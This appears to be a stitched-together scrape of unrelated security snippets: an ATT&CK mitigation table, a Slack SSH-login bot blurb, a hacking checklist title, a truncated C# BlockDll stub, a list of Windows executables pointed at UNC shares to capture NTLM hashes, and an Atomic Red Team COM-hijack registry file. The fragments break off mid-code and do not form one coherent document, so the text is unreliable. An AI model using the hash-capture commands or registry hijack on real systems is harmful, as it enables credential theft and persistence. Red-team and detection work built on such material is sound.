burnnotice

ID	Name	MitigatedByAppControl	Notes
T1001	Data Obfuscation	Not Applicable	Relevant sub-techniques addressed below
T1001.001	Junk Data	No	Technique is not necessarily related to the execution of arbitrary code on an endpoint.
T1001.002	Steganography	Limited	If custom attacker code were necessary to perform this technique, it would be prevented.
T1001.003	Protocol Impersonation	Limited	If custom attacker code were necessary to perform this technique, it would be prevented.
T1003	OS Credential Dumping	Not Applicable	Relevant sub-techniques addressed below
T1003.001	LSASS Memory	Limited	Built-in utilities exist to perform this technique. They would have to be explicitly blocked.
T1003.002	Security Account Manager	Limited	Built-in utilities exist to perform this technique. They would have to be explicitly blocked.
T1003.003	NTDS	Limited	Built-in utilities exist to perform this technique. They would have to be explicitly blocked.
T1003.004	LSA Secrets	Limited	Built-in utilities exist to perform this technique.

Disable Device Enrollment Program (DEP) notification on macOS Ventura.md

This is a simple slackbot to post successful SSH logins to a slack channel to help you keep track of server access.

Create an incoming webhook for your slack community.

Create /etc/ssh/sshslack.sh

A combination of my own methodology and the Web Application Hacker's Handbook Task checklist, as a Github-Flavored Markdown file

	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;

	namespace BlockDllTest
	{
	class Program
	{
	static void Main(string[] args)
	{

	Executables for Capturing Hashes (incomplete list)
	(all file locations are system32 - win10, impacket-smbserver with -smb2support used for testing)

	@0rbz_

	attrib.exe \\host\share
	bcdboot.exe \\host\share
	bdeunlock.exe \\host\share
	cacls.exe \\host\share
	certreq.exe \\host\share (noisy, pops an error dialog)

	Windows Registry Editor Version 5.00
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]